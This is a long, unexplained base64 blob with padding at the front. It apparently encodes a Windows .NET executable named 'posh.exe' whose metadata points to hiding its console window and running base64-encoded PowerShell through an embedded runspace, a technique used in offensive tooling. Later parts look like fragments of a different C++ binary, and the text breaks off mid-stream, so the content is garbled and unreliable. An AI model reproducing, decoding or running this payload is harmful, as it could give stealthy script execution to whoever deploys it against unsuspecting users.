EEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBA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19ISURFAFNXX1NIT1cAR2V0Q29uc29sZVdpbmRvdwBTaG93V2luZG93AC5jdG9yAEludm9rZUF1dG9tYXRpb24AUnVuUFMATWFpbgBoV25kAG5DbWRTaG93AGNtZABTeXN0ZW0uUnVudGltZS5Db21waWxlclNlcnZpY2VzAENvbXBpbGF0aW9uUmVsYXhhdGlvbnNBdHRyaWJ1dGUAUnVudGltZUNvbXBhdGliaWxpdHlBdHRyaWJ1dGUAcG9zaABTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMARGxsSW1wb3J0QXR0cmlidXRlAGtlcm5lbDMyLmRsbAB1c2VyMzIuZGxsAFN5c3RlbS5NYW5hZ2VtZW50LkF1dG9tYXRpb24AU3lzdGVtLk1hbmFnZW1lbnQuQXV0b21hdGlvbi5SdW5zcGFjZXMAUnVuc3BhY2VGYWN0b3J5AFJ1bnNwYWNlAENyZWF0ZVJ1bnNwYWNlAE9wZW4AUnVuc3BhY2VJbnZva2UAUGlwZWxpbmUAQ3JlYXRlUGlwZWxpbmUAQ29tbWFuZENvbGxlY3Rpb24AZ2V0X0NvbW1hbmRzAEFkZFNjcmlwdABTeXN0ZW0uQ29sbGVjdGlvbnMuT2JqZWN0TW9kZWwAQ29sbGVjdGlvbmAxAFBTT2JqZWN0AEludm9rZQBDbG9zZQBTeXN0ZW0uVGV4dABTdHJpbmdCdWlsZGVyAFN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljAElFbnVtZXJhdG9yYDEAR2V0RW51bWVyYXRvcgBnZXRfQ3VycmVudABBcHBlbmQAU3lzdGVtLkNvbGxlY3Rpb25zAElFbnVtZXJhdG9yAE1vdmVOZXh0AElEaXNwb3NhYmxlAERpc3Bvc2UAVG9TdHJpbmcAU3RyaW5nAFRyaW0ARW5jb2RpbmcAZ2V0X1VuaWNvZGUAQ29udmVydABGcm9tQmFzZTY0U3RyaW5nAEdldFN0cmluZwAAAAMgAAAAAAASJrxRf3rFQo0hxG1QXPnvAAi3elxWGTTgiQIGCAQAAAAABAUAAAADAAAYBQACAhgIAyAAAQQAAQ4OBAABAQ4DAAABBCABAQgEIAEBDggxvzhWrTZONQQAABIZBSABARIZBCAAEiEEIAASJQggABUSKQESLQYVEikBEi0IIAAVEjUBEwAGFRI1ARItBCAAEwAFIAESMRwDIAACAyAADhoHCRIZEh0SIRUSKQESLRIxEi0OFRI1ARItAgQAABJFBQABHQUOBSABDh0FBAcCGA4DBwEYCAEACAAAAAAAHgEAAQBUAhZXcmFwTm9uRXhjZXB0aW9uVGhyb3dzAQC8KAAAAAAAAAAAAADeKAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0CgAAAAAAAAAAAAAAAAAAAAAAAAAAF9Db3JFeGVNYWluAG1zY29yZWUuZGxsAAAAAAD/JQAgQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACABAAAAAgAACAGAAAADgAAIAAAAAAAAAAAAAAAAAAAAEAAQAAAFAAAIAAAAAAAAAAAAAAAAAAAAEAAQAAAGgAAIAAAAAAAAAAAAAAAAAAAAEAAAAAAIAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAJAAAACgQAAAPAIAAAAAAAAAAAAA4EIAAOoBAAAAAAAAAAAAADwCNAAAAFYAUwBfAFYARQBSAFMASQBPAE4AXwBJAE4ARgBPAAAAAAC9BO/+AAABAAAAAAAAAAAAAAAAAAAAAAA/AAAAAAAAAAQAAAABAAAAAAAAAAAAAAAAAAAARAAAAAEAVgBhAHIARgBpAGwAZQBJAG4AZgBvAAAAAAAkAAQAAABUAHIAYQBuAHMAbABhAHQAaQBvAG4AAAAAAAAAsAScAQAAAQBTAHQAcgBpAG4AZwBGAGkAbABlAEkAbgBmAG8AAAB4AQAAAQAwADAAMAAwADAANABiADAAAAAsAAIAAQBGAGkAbABlAEQAZQBzAGMAcgBpAHAAdABpAG8AbgAAAAAAIAAAADAACAABAEYAaQBsAGUAVgBlAHIAcwBpAG8AbgAAAAAAMAAuADAALgAwAC4AMAAAADQACQABAEkAbgB0AGUAcgBuAGEAbABOAGEAbQBlAAAAcABvAHMAaAAuAGUAeABlAAAAAAAoAAIAAQBMAGUAZwBhAGwAQwBvAHAAeQByAGkAZwBoAHQAAAAgAAAAPAAJAAEATwByAGkAZwBpAG4AYQBsAEYAaQBsAGUAbgBhAG0AZQAAAHAAbwBzAGgALgBlAHgAZQAAAAAANAAIAAEAUAByAG8AZAB1AGMAdABWAGUAcgBzAGkAbwBuAAAAMAAuADAALgAwAC4AMAAAADgACAABAEEAcwBzAGUAbQBiAGwAeQAgAFYAZQByAHMAaQBvAG4AAAAwAC4AMAAuADAALgAwAAAAAAAAAO+7vzw/eG1sIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IlVURi04IiBzdGFuZGFsb25lPSJ5ZXMiPz4NCjxhc3NlbWJseSB4bWxucz0idXJuOnNjaGVtYXMtbWljcm9zb2Z0LWNvbTphc20udjEiIG1hbmlmZXN0VmVyc2lvbj0iMS4wIj4NCiAgPGFzc2VtYmx5SWRlbnRpdHkgdmVyc2lvbj0iMS4wLjAuMCIgbmFtZT0iTXlBcHBsaWNhdGlvbi5hcHAiLz4NCiAgPHRydXN0SW5mbyB4bWxucz0idXJuOnNjaGVtYXMtbWljcm9zb2Z0LWNvbTphc20udjIiPg0KICAgIDxzZWN1cml0eT4NCiAgICAgIDxyZXF1ZXN0ZWRQcml2aWxlZ2VzIHhtbG5zPSJ1cm46c2NoZW1hcy1taWNyb3NvZnQtY29tOmFzbS52MyI+DQogICAgICAgIDxyZXF1ZXN0ZWRFeGVjdXRpb25MZXZlbCBsZXZlbD0iYXNJbnZva2VyIiB1aUFjY2Vzcz0iZmFsc2UiLz4NCiAgICAgIDwvcmVxdWVzdGVkUHJpdmlsZWdlcz4NCiAgICA8L3NlY3VyaXR5Pg0KICA8L3RydXN0SW5mbz4NCjwvYXNzZW1ibHk+DQoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAwAAADwOAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABY4wCAAQAAAAAAAAAAAAAALj9BVl9jb21fZXJyb3JAQAAAAAAAAAAAWOMAgAEAAAAAAAAAAAAAAC4/QVZ0eXBlX2luZm9AQABY4wCAAQAAAAAAAAAAAAAALj9BVmJhZF9hbGxvY0BzdGRAQAAAAAAAWOMAgAEAAAAAAAAAAAAAAC4/QVZleGNlcHRpb25Ac3RkQEAAAAAAAFjjAIABAAAAAAAAAAAAAAAuP0FWYmFkX2FycmF5X25ld19sZW5ndGhAc3RkQEAAAFjjAIABAAAAAAAAAAAAAAAuP0FWYmFkX2V4Y2VwdGlvbkBzdGRAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEBAAAHgQAABgXAEAgBAAAA4RAABsXAEAEBEAAA0SAACAXAEAEBIAAHISAACYXAEAdBIAAGMYAACkXAEAZBgAAF8aAACgXQEAeBoAAI8aAABoXgEAkBoAAL8aAABYZQEAwBoAAGgcAABwXgEAcBwAAKgcAADIXgEAqBwAAMMcAADUXgEAwxwAANEcAADoXgEA4BwAABYdAADIXgEAFh0AADEdAACkXgEAMR0AAD8dAAC4XgEAQB0AAEQdAABoXgEARB0AAGcdAAD4XgEAZx0AAIIdAAAQXwEAgh0AAJUdAAAkXwEAlR0AAKUdAAA0XwEAsB0AALYdAABEXwEAth0AAMIdAABMXwEAwh0AANsdAABgXwEA2x0AAPYdAAB0XwEA9h0AAAQeAACIXwEABB4AABUeAACYXwEAFR4AACseAACoXwEAMB4AAFgeAACoYAEAcB4AAJEeAAC4XwEAlB4AANAeAACgYAEA2B4AACgfAABoXgEAKB8AADsgAAC8XwEAPCAAAMggAADoXwEAyCAAAL0hAAAQYAEAwCEAABQiAACQZwEAFCIAAFEiAABoZgEAXCIAAJUiAABoXgEAmCIAAMwiAABoXgEAzCIAAOEiAABoXgEA5CIAAAwjAABoXgEADCMAACEjAABoXgEAJCMAAIUjAACQZwEAiCMAALgjAABoXgEAuCMAAMwjAABoXgEAzCMAABUkAACgYAEAGCQAAPckAABoYAEA+CQAAJElAABAYAEAlCUAALglAACgYAEAuCUAAOMlAACgYAEA5CUAADMmAACgYAEANCYAAEsmAABoXgEATCYAANEmAABMYgEA8CYAAEEnAAB4YAEARCcAAG8nAACgYAEAcCcAAKQnAACgYAEApCcAAHUoAADIagEAeCgAAIsoAABoXgEAjCgAACcpAACAYAEAKCkAAJUpAACIYAEAmCkAAAkqAACUYAEAFCoAAFMqAACgYAEAdCoAALMqAACgYAEA1CoAAAkrAACgYAEADCsAACwrAACoYAEALCsAAEwrAACoYAEAYCsAAAwsAACwYAEAOCwAAFMsAABoXgEAZCwAAK4tAAC8YAEAsC0AAPotAABoZgEA/C0AAEYuAABoZgEATC4AAAUwAADMYAEAHDAAADkwAABoXgEAPDAAAJcwAADgYAEAoDAAABMxAACQZwEAFDEAAN0xAAAAYQEA4DEAAAkzAAD0YwEADDMAAJ0zAAAYYQEAoDMAAPczAAAsYQEA+DMAADI0AACgYAEANDQAAIs0AABYZQEAjDQAAJ40AABoXgEAoDQAALI0AABoXgEAtDQAAMw0AACgYAEAzDQAAOQ0AACgYAEA5DQAAAU2AABcYQEACDYAAIU2AABwYQEAiDYAAA03AACAYQEAFDcAAEM3AACgYAEAaDcAALI3AABoXgEAtDcAAIs4AACkYQEAoDgAAFA6AAC4YQEAUDoAAEs8AAC8YQEATDwAAH48AABoXgEAgDwAAJQ8AABoXgEAlDwAAKY8AABoXgEAqDwAAMg8AABoXgEAyDwAANg8AABoXgEA2DwAAGU9AADsaAEAaD0AAI09AACgYAEAuD0AAOI9AACgYAEA5D0AAAM+AABoXgEABD4AAFE+AACgYAEAVD4AAG0+AABoXgEAcD4AACg/AABoZgEAKD8AAGc/AABoXgEAaD8AAIo/AABoXgEAjD8AALM/AABoXgEAtD8AAN0/AACgYAEA7D8AACdAAABYZQEAMEAAAJxAAACgYAEAnEAAANtAAACgYAEAEEEAAFJBAABYZQEAVEEAABVCAADAYgEAGEIAAJ5CAABYZQEAoEIAAG5HAACgYgEAcEcAANpJAADYYgEA3EkAAK5KAABUYwEAzEoAAI1LAAAgYgEAkEsAAHBNAADwYgEAcE0AAFpPAADYYQEAXE8AAO9QAABkYgEA8FAAAEJTAAC8YQEARFMAAIJUAABMYgEAoFQAAMRUAAAwYwEA0FQAAOhUAAA4YwEA8FQAAPFUAAA8YwEAAFUAAAFVAABAYwEAPFUAAIJVAACgYAEAhFUAALtVAACgYAEAvFUAAJJXAABUYwEAlFcAAOVXAABYZQEA6FcAADxYAABYZQEAPFgAAJBYAABYZQEAkFgAAPdYAABoZgEA+FgAAG9ZAACQZwEAcFkAALNZAABEYwEAtFkAAPJZAABMYwEAMFoAAHVeAABwYwEAkF4AANBeAAB4YwEA6F4AAChfAABYZQEAKF8AAFxfAACAYwEAXF8AANJfAABMYgEA1F8AACBgAABoZgEANGAAAMFhAACQZwEA0GEAADxjAACgYwEAPGMAAIVjAACgYAEAiGMAAPRjAABYZQEAIGQAANxlAAD0YwEA3GUAAD1mAACgYAEAQGYAALZnAADgYwEAuGcAACRoAABYZQEAJGgAAB1pAAAcZAEAIGkAAGFpAAAQZAEAZGkAAH5pAABoXgEAgGkAAJppAABoXgEAnGkAANRpAABoXgEA3GkAABdqAABEZAEAGGoAALdrAABoZAEAuGsAAJJtAAD0YwEApG0AAN5tAAA8ZAEAIG4AAGhuAAA0ZAEAfG4AAJ9uAABoXgEAoG4AALBuAABoXgEAsG4AAAFvAACgYAEADG8AAJpvAACgYAEAtG8AAMhvAABoXgEAyG8AANhvAABoXgEA7G8AAPxvAABoXgEA/G8AACNwAACYZAEAJHAAAINwAACgYAEAhHAAAMFwAACkZwEAxHAAACJxAACgYAEAJHEAAHlxAABoXgEAfHEAAPFxAACgYAEAIHIAALByAABYZQEAsHIAAPhyAACgYAEAFHMAAEtzAACgYAEAaHMAAMdzAAAQZQEAyHMAAA10AADsZAEAEHQAAE90AADIZAEAUHQAAI10AAA0ZQEAkHQAAF11AAC4ZAEAYHUAAIB1AACkZwEAgHUAAHV2AADAZAEAeHYAAN92AABYZQEA4HYAACF3AACgYAEAJHcAALh3AABYZQEAuHcAAFd4AABoZgEAWHgAAJF4AABoXgEAlHgAALZ4AABoXgEAuHgAAFh6AABUYwEAWHoAAK16AABYZQEAsHoAAAV7AABYZQEACHsAAF17AABYZQEAYHsAAMh7AABoZgEAyHsAAEB8AACQZwEAQHwAAC99AABYZwEAMH0AAJV9AABoZgEAmH0AAM99AABEYwEA0H0AAFV+AABgXAEAWH4AAJl+AACgYAEAnH4AAPd/AABsZQEAAIAAAKeAAACMZQEAqIAAAMaAAABkZQEAyIAAAA6BAABoXgEAWIEAAKaBAABYZQEAqIEAAMiBAABoXgEAyIEAAOiBAABoXgEA/IEAAAWEAACkZQEACIQAABiFAAC8ZQEAGIUAAMSGAADYZQEAxIYAAIuHAACQZwEAlIcAAMyHAAB4ZgEAzIcAAOOJAABoZgEA5IkAAGGKAAB4aQEAZIoAAPSKAACQZwEA9IoAANaMAAA8ZgEA2IwAAI2OAABYZgEAkI4AALeOAABoXgEAuI4AAHePAAD4ZQEAeI8AAB+SAAAcZgEAIJIAAJWSAACcZgEArJIAANGSAABoXgEA1JIAANeTAACsZgEA4JMAAHWUAACQZwEAeJQAAJSUAABoXgEAoJQAAIuVAADkZgEAjJUAAIeWAADsaAEAiJYAAMOWAADEZgEAxJYAAASXAABYZQEABJcAAJiXAACQZwEAmJcAAOeXAABoZgEA6JcAAC2YAAA0ZwEAMJgAAF6YAAAAZwEAgJgAABmbAAAIZwEARJsAAImbAABYZQEAlJsAANycAABYZwEA5JwAABWdAACgYAEAGJ0AAEmdAACgYAEATJ0AAHKdAABoXgEAdJ0AAJOeAABMYgEAlJ4AAO+eAACgYAEAFJ8AAFufAABwZwEAXJ8AAIufAABoXgEAGKAAAI6hAACQZwEAuKEAAO6hAACkZwEAGKIAAMCiAABoXgEAwKIAADCjAACsZwEAMKMAAJijAABYZQEAmKMAAF+kAADQZwEAYKQAAJKkAABoXgEAoKQAALekAAA0aAEAt6QAAGulAABEaAEAa6UAAGylAABgaAEAcKUAAMulAADoZwEAy6UAAIeoAAAAaAEAh6gAAKSoAAAkaAEApKgAAHapAABYZQEAeKkAABaqAABwaAEAIKoAALaqAACAaAEAuKoAAM+qAABoXgEA0